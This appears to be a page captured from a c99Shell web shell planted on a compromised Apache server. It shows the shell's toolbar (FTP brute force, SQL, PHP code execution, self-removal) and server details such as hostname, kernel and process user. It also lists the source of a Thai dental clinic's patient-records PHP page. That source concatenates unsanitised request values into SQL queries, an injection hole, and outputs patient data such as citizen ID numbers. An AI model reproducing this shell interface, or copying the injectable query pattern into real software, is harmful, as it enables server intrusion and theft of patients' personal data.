!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Dental/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddPlanteach.php (42.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
//$Username = $valid_user;
include("../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
 
ConnectDB();
$sql ="select * From personal_den_tb  Where  Person_code='$Person_code' ";
$result mysql_query($sql);
$rs mysql_fetch_array($result);
$sql1 ="select * From account  Where  Person_code='$Person_code' ";
$result1 mysql_query($sql1);
$rs1 mysql_fetch_array($result1);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<script language="JavaScript" type="text/JavaScript">
function browse()
{
form1.Imag1.src = form1.Img1.value;
}
function MM_reloadPage(init) {  //reloads the window if Na v4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->

function chk(c){
if (c.checked){
document.all.Soulmate.disabled=true;
document.all.Total_child.disabled=true;
}
else{
document.all.Soulmate.disabled=false;
document.all.Total_child.disabled=false;
}
}
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

//Function to highlight form element
function highlight(e){
eventobj=ns6? e.target : event.srcElement
if (previous!=''){
if (checkel(previous))
previous.style.backgroundColor=''
previous=eventobj
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
}
else{
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
previous=eventobj
}
}   
function handleEnter (field, event) {
        var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
        if (keyCode == 13) {
            var i;
            for (i = 0; i < field.form.elements.length; i++)
                if (field == field.form.elements[i])
                    break;
            i = (i + 1) % field.form.elements.length;
            field.form.elements[i].focus();
            return false;
        } 
        else
        return true;
    }    
</script>
<style type="text/css">
<!--
.style1 {color: #000066}
.style11 {font-weight: bold}
.style11 {font-family: Tahoma; font-size: 12px; }
.style3 {font-size: 18px}
.style4 {font-size: 12px}
.style6 {color: #003333}
.style8 {    font-size: 14px;
    color: #FF0000;
}
.style12 {
    font-size: 14px;
    font-weight: bold;
}
.style13 {font-size: 14px}
.style14 {
    font-size: 16px;
    font-weight: bold;
}
.style15 {color: #000000}
-->
</style>
<table width="845" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="845" ><br />
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddTeachPlan.php?Person_code=<? echo $rs[Person_code]?>">บันทึกการรักษา</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddTeach.php?Person_code=<? echo $rs[Person_code]?>">บันทึกแผนการักษา</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />บันทึกรายการักษา</font></legend>
          <label> </label>
        <div align="center">
          <form id="form1" name="form1" method="post" action="InsertTeach.php">
            <table width="100%" height="393" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC" style="border:1px solid gray">
               <tr bgcolor="#B6D0F1" background="" >
                <td height="22" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><div align="center" class="style14"><font color="#003366" face="Tahoma">บันทึกรายการรักษา</font></div></td>
              </tr>
              <tr bgcolor="#ECF5FF">
             <td width="32%" height="25" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center" class="style13"><font color="#000066" face="Tahoma">เลขที่ HN</font></div></td>
                <td width="0%" bordercolor="#CCCCCC"><div align="center"></div></td>
                <td width="68%" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><font color="#000000" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma"><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"$rs[HN_code]";
      
?>
                  <font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"> </font></font> </font></font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="25" nowrap="nowrap"><div align="center" class="style13"><font color="#003366" face="Tahoma">เลขที่บัตรประจำตัวประชาชน</font></div></td>
                <td><div align="center"></div></td>
                <td nowrap="nowrap"><font color="#000000" size="2" face="Tahoma"><font color="#000000" size="2" face="Tahoma">
                  <?php
         
echo"$rs[Citizen_id]";
      
?>
                </font></font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="25" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center" class="style13"><font color="#000066" face="Tahoma">ชื่อ - สกุล </font></div></td>
                <td bordercolor="#CCCCCC"><div align="center"></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><font color="#000066" size="2" face="Tahoma"><?php
            
echo"$rs[First_name]";
      
?>                  <font color="#000000" size="2" face="Tahoma">
                <?php
            
echo"$rs[Name]";
      
?>
                <font color="#000000" size="2" face="Tahoma">
                <?php
            
echo"$rs[Lastname]";
      
?>
                </font></font></td>
              </tr>
              
              <tr bgcolor="#ECF5FF">
                <td height="19" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center" class="style13"><font color="#003366" face="Tahoma">สถานพยาบาลผู้ประกันตน</font></div></td>
                <td bordercolor="#CCCCCC"><div align="center"></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma">
                  <?php
         $Hostpital  
=  $rs["Hostpital"];
         
$sql "Select * From hospital  Where  Hostpital='$Hostpital'";
          
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rss2 mysql_fetch_array($result2);
          echo 
"$rss2[Hostpital_name] ";
         
?>
                </font><span class="style13"><font color="#003366" face="Tahoma">
                <label></label>
                </font></span></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="24" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#003366" face="Tahoma"><span class="style13">สถานะคนไข</span>้</font></div></td>
                <td bordercolor="#CCCCCC">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><font color="#003366" face="Tahoma">
                  <label>
                  <input name="Roug" type="radio" value="1" />
                  </label>
                  <span class="style13">คนไข้นอก</span>
                  <input name="Roug" type="radio" value="2" />
                <span class="style13">คนไข้ใน</span></font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="24" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center" class="style13"><font color="#000066" face="Tahoma">วันที่เข้าทำการรักษา</font></div></td>
                <td bordercolor="#CCCCCC"><div align="center"></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#ECF5FF"><font color="#000000" size="2" face="Tahoma, MS Sans Serif"> วันที่ </font><font color="#000000" size="2" face="Tahoma">
                  <select name="mDate" id="select4" class="select" >
                    <?php
           $Datetype 
$rs[Datetype];
           
$yearthai explode("-",$Datetype);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
                  </font><font color="#000000" size="2" face="Tahoma, MS Sans Serif"> เดือน </font><font color="#000000" size="2" face="Tahoma">
                  <select name="mMonth" id="select5" class="select" >
                    <?php
          $Datetype 
$rs[Datetype];
           
$yearthai explode("-",$Datetype);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear2=   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                  </select>
                  </font><font color="#000000" size="2" face="Tahoma, MS Sans Serif"> ปี พ.ศ. </font><font color="#000000" size="2" face="Tahoma">
                  <input name="mYear" type="text" class="d" id="mYear" value="<? echo $mYear?>" size="3" maxlength="4">
                </font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="25" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center" class="style13"><font color="#003366" face="Tahoma">ทันตแพทย์ผู้รักษา</font></div></td>
                <td bordercolor="#CCCCCC"><div align="center"></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC"><font size="2" face="Tahoma"><span class="style4"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma">&nbsp;</font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><span class="style1"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                  <select name="Teacher_code"  id="Teacher_code" class="d"  >
                    <?php
            $Teacher_code 
$rs[Teacher_code];
            
$strSQL7 "SELECT * FROM personal_tb Where  Teacher_code='$Teacher_code' ";
            
$result7 mysql_query($strSQL7);
           
$strSQL8 "SELECT * FROM  personal_tb Where  Dentis_code='01'  Order By   Teacher_code ";
             
$result8 mysql_query($strSQL8);
                 while( 
$rs7 mysql_fetch_array($result7))
                {
                echo
"<option value=\"$rs7[Teacher_code]\" ><b>$rs7[First_name]&nbsp;$rs7[Teacher_name]&nbsp; $rs7[Teacher_lastname]</b></option>\n";
                 while( 
$rs8 mysql_fetch_array($result8))
                    {
                 echo
"<option value=\"$rs8[Teacher_code]\" ><b>$rs8[First_name]&nbsp; $rs8[Teacher_name]&nbsp; $rs8[Teacher_lastname]</b></option>\n";
                }
                }
          
?>
                  </select>
                </font></strong></font></strong></font></font><font color="#003366" size="2" face="Tahoma"> </font></strong></span></font><font size="2" face="Tahoma"><span class="style11"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></span></font></td>
              </tr>
              
              <tr bgcolor="#ECF5FF">
                <td height="72" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC"><table width="100%" border="0" cellpadding="0" cellspacing="1">
                    <tr>
                      <td width="114" height="17" bgcolor="#FFCC99"><div align="center" class="style13"><font color="#000000" face="Tahoma">เลขที่ใบเสร็จ</font></div></td>
                      <td width="370" bgcolor="#FFCC99"><div align="center" class="style13"><font color="#003366" face="Tahoma">การรักษา</font></div></td>
                      <td width="41" bgcolor="#FFCC99"><div align="center" class="style13">  <font color="#003366" face="Tahoma">ซี่ฟัน</font></div></td>
                      <td width="25" bgcolor="#FFCC99"><div align="center" class="style13"> <font color="#003366" face="Tahoma">ด้าน</font></div></td>
                      <td width="40" bgcolor="#FFCC99"><div align="center" class="style13"><font color="#003366" face="Tahoma">จำนวน</font> </div></td>
                      <td width="47" bgcolor="#FFCC99"><div align="center" class="style13"><font color="#003366" face="Tahoma">ค่ารักษา</font></div></td>
                    </tr>
                    <tr>
                      <td><div align="center"><span class="c style8"></span>
                              <input name="No_code" type="text" class="d" id="No_code" value="<? echo $rs1[No_code]?>" size="10" maxlength="9" />
                      </div></td>
                      <td><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                        <select name="Teach_code" class="d" id="Teach_code">
                          <?php
           $strSQL2 
"SELECT * FROM  treatment_tb Order By  Description_2 ASC  ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teach_code]\" ><b>$rs2[Description_2] &nbsp;&nbsp;&nbsp;$rs2[Description_1] ราคา $rs2[Price]</b></option>\n";
                     }
                
                
          
?>
                        </select>
                      </font></strong></font></td>
                      <td><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <select name="Tooth_code" class="d" id="Tooth_code">
                            <?php
           $strSQL2 
"SELECT * FROM  tooth_tb  Order By  Description_1 ASC ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Tooth_code]\" ><b>$rs2[Description_1]</b></option>\n";
                }        
          
?>
                          </select>
                      </font></strong></font></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
                      <td><div align="center"><font size="2" face="Tahoma">
                          <input name="Percen" type="text" class="d" id="Percen" size="2" maxlength="2" />
                      </font></div></td>
                      <td><div align="center"><font size="2" face="Tahoma">
                        <input name="Mount" type="text" class="d" id="Mount" size="2" maxlength="2" />
                      </font></div></td>
                      <td><div align="left"><font size="2" face="Tahoma"><span class="style11"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                        <input name="Price" type="text" class="d" id="Price" size="5" maxlength="7" />
                      </font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></span></font> </div></td>
                    </tr>
                    <tr>
                      <td height="29">&nbsp;</td>
                      <td>&nbsp;</td>
                      <td>&nbsp;</td>
                      <td colspan="3"><div align="right"><font size="2" face="Tahoma"><span class="style11"><strong><font size="2" face="Tahoma"><font size="2" face="MS Sans Serif, Tahoma, sans-serif"><font size="2" face="Tahoma"><strong><strong> </strong></strong></font></font></font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma">
                        <input name="Submit2" type="submit" id="Submit2" value="บันทึก" />
                        <input name="Reset2" type="reset" id="Reset2" value="ยกเลิก " />
                        <input name="Person_code" type="hidden" id="Person_code" value="<? echo $rs[Person_code]?>" />
                        <input name="Hostpital" type="hidden" id="Hostpital" value="<? echo $rs[Hostpital]?>" />
                        <input name="HN_code" type="hidden" id="HN_code" value="<? echo $rs[HN_code]?>" />
                      </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font><font color="#003366" size="2" face="Tahoma"></font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></span></font> </div></td>
                    </tr>
                </table></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="132" colspan="3"><div align="center">
                    <table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#EEEEEE" style="border:0px solid gray">
                      <tr bgcolor="" >
                        <td colspan="12"><div align="left"><font color="#003366" size="4" face="Tahoma">
                            <?php
 $sql2
"Select * From account  Where  Person_code='$Person_code' Order By  No_code , Date  ASC  ";
$result2 mysql_query($sql2) or die(" Error").mysql_error();
$num mysql_num_rows($result2);
///////////////////////////////////////////////////////////////////////////////////
?>
                        </font></div></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td width="27" align="center" class="style13" style="border:1px solid gray"><font color="#003366" face="Tahoma">&nbsp;No</font></td>
                        <td width="67" align="center" class="style13" style="border:1px solid gray"><font color="#000000" face="Tahoma">เลขที่</font></td>
                        <td width="65" align="center" style="border:1px solid gray"><span class="style13"><font color="#000000" face="Tahoma">วันท</font></span><span class="style12"><font color="#000000" face="Tahoma">ี่</font></span></td>
                        <td width="326" align="center" class="style13" style="border:1px solid gray"><font color="#000000" face="Tahoma">รายการรักษา</font></td>
                        <td width="76" align="center" style="border:1px solid gray"><span class="style13"><font color="#000000" face="Tahoma">ทันตแพทย</font></span><span class="style12"><font color="#000000" face="Tahoma">์</font></span></td>
                        <td width="31" align="center" class="style13" style="border:1px solid gray"><font color="#003366" face="Tahoma">ซี่ฟัน</font></td>
                        <td width="27" align="center" class="style13" style="border:1px solid gray"><font color="#003366" face="Tahoma">ด้าน</font></td>
                        <td width="42" align="center" class="style13" style="border:1px solid gray"><font color="#003366" face="Tahoma">จำนวน</font> </td>
                        <td width="49" align="center" class="style13" style="border:1px solid gray"><font color="#003366" face="Tahoma">ค่ารักษา</font></td>
                        <td width="63" align="center" class="style13" style="border:1px solid gray"><font color="#003366" face="Tahoma">จำนวนเงิน</font></td>
                        <td colspan="2" align="center" class="style13" style="border:1px solid gray"><font color="#000000" face="Tahoma">แก้ไข</font></td>
                      </tr>
                      <?
$i 
1;
 while(
$row mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                      <tr bordercolor="#EEEEEE" bgcolor="#FDFAEE" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FDFAEE'" >
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE" ><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma">
                          <? 
        $no 
= ($Per_Page * ( $Page -1))+$i ;
        echo 
$no;
        
?>
                        </font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE" ><div align="center" class="style13"><font color="#003366" face="Tahoma"><span class="style4"><font color="#003366" face="Tahoma"><a href="Planteachdetail.php?No_code=<?=$row["No_code"]?>"title="คลิกดูเพื่อพิมพ์ใบรายการค่าใช้จ่าย " class="d" ><span class="style13"><? echo $row["No_code"]?></div></td>
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE" ><div align="center"><font color="#003333" size="2" face="Tahoma"> <a href="Planteachdetail.php?No_code=<?=$row["No_code"]?>"title="คลิกดูเพื่อพิมพ์ใบรายการค่าใช้จ่าย " class="d" >
                            <?php 
       $sday 
$row[Date];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
                        <font color="#003333" size="2" face="Tahoma"> </font></a></font></div></td>
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE"  ><div align="left"><font size="2" face="Tahoma"><span class="d style3"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"> <font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                            <?php
         $Teach_code 
=  $row["Teach_code"];
         
$sql "Select * From  treatment_tb Where Teach_code ='$Teach_code' ";
          
$result mysql_query($sql) or die("Error".mysql_error());
          
$rssmysql_fetch_array($result);
          echo 
"$rss[Description_2]  ";
         
?>
                        </font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font> </font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></span></font><font size="2" face="Tahoma"><span class="d style3"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                        <?php
         $Teach_code 
=  $row["Teach_code"];
         
$sql "Select * From  treatment_tb Where Teach_code ='$Teach_code' ";
          
$result mysql_query($sql) or die("Error".mysql_error());
          
$rssmysql_fetch_array($result);
          echo 
"$rss[Description_1] ";
         
?>
                        </font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></span></font></div><div align="left"><font color="#990099" size="2" face="Tahoma"> <a href="Historydetail.php?Person_code=<?=$row["Person_code"]?>" title="Click to see Detail"> </a></font><font color="#990099" size="2" face="Tahoma"><a href="Historydetail.php?Person_code=<?=$row["Person_code"]?>" title="Click to see Detail"  class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
                        <td align="center" ><div align="left">
                            <font size="2" face="Tahoma"><strong></strong></font>
                            <div align="left"><font color="#003333" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><a href="AddTearch.php?Person_code=<? echo $row[Person_code]?>" class="c" > </a></strong></font><font size="2" face="Tahoma"><span class="d style3"><font size="2" face="Tahoma"> </font></span></font><font size="2" face="Tahoma"><span class="d style3"><font size="2" face="Tahoma"><span class="style6"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                              <?php
         $Teacher_code 
=  $row["Teacher_code"];
         
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"Dr. $rss[Teacher_name]";
         
?>
                          </font></font></font></span></font></span></font><font color="#003333" size="2" face="Tahoma"> </font></div></td>
                        <td align="center" ><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                          <?php
         $Tooth_code 
=  $row["Tooth_code"];
         
$sql"Select * From tooth_tb Where Tooth_code='$Tooth_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rssmysql_fetch_array($result1);
          echo 
"$rss[Description_1] ";
         
?>
                        </font></font><font color="#003333" size="2" face="Tahoma"> </font></span></font></td>
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE" ><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma">
                          <?=$row["Percen"]?>
                        </font></span></font></td>
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE" ><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma">
                          <?=$row["Mount"]?>
                        </font></span></font></td>
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE" ><div align="right"><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma">
                            <?=$row["Price"]?>
                        </font></span></font></div></td>
                        <td align="center" bordercolor="#EEEEEE" bgcolor="#FDFAEE" ><div align="right"><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma"> </font><font color="#993333" size="2" face="Tahoma"><?echo number_format($row['Cost_total'],2,'.',','); ?></font><font color="#003333" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"> </font></span></font> </div></td>
                        <td width="26" bordercolor="#EEEEEE" bgcolor="#F7F7F7" ><div align="center"><font size="2" face="Tahoma"><strong><a href="FrmEditPlanteach.php?Person_code=<? echo $row [Person_code]?>&amp;&amp;Teach_id=<? echo $row[Teach_id]?>" class="c"><img src="../picture/edit.gif" width="16" height="16" border="0" alt="แก้ไข" /></a></strong></font></div></td>
                        <td width="29" bordercolor="#EEEEEE" bgcolor="#F7F7F7" ><div align="center"><font size="2" face="Tahoma"><strong><a href="DelPlanteach.php?Person_code=<? echo $row [Person_code]?>&amp;&amp;Teach_id=<? echo $row[Teach_id]?>" class="c"><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0" onclick="return Conf<?=$row[Teach_id];?>0(this)" alt="ลบข้อมูล" /></a></strong></font></div>
                            <div align="center"><strong><font size="2" face="Tahoma">
                              <script language="JavaScript" type="text/javascript">
function Conf<?=$row[Teach_id];?>0(object) {
    if (confirm("คุณต้องการลบข้อมูล <?php echo " $row[No_code]"?> หรือไม่?") == true) {
        return true;
    }
    return false;
}
              </script>
                        <a href="DelHistory.php?Person_code=<?php echo $row[Person_code]; ?>&amp;&amp;Person_code=<?php echo $row[Person_code];?>"> </a> </font></strong></div></td>
                      </tr>
                      <?
    $count
=1;
     }
else
{
?>
                      <tr bordercolor="#EEEEEE" bgcolor="#FFFEF4" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FFFEF4'">
                        <td align="center" bgcolor="#eeeeee" ><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma">
                          <? 
        $no 
= ($Per_Page * ( $Page -1))+$i ;
        echo 
$no;
        
?>
                        </font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
                        <td align="center" bgcolor="#eeeeee" ><span class="style13"><font color="#003333" size="2" face="Tahoma">
                          <div align="center" class="style13"><font color="#003366" face="Tahoma"><span class="style4"><font color="#003366" face="Tahoma"><a href="Planteachdetail.php?No_code=<?=$row["No_code"]?>"title="คลิกดูเพื่อพิมพ์ใบรายการค่าใช้จ่าย " class="d" ><span class="style13"><? echo $row["No_code"]?></div>
                        </span></td>
                        <td align="center" bgcolor="#eeeeee" ><div align="center"><font color="#003333" size="2" face="Tahoma"> <a href="Planteachdetail.php?No_code=<?=$row["No_code"]?>"title="คลิกดูเพื่อพิมพ์ใบรายการค่าใช้จ่าย " class="d" >
                          <?php 
       $sday 
$row[Date];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
                          <font color="#003333" size="2" face="Tahoma"> </font></a></font></div></td>
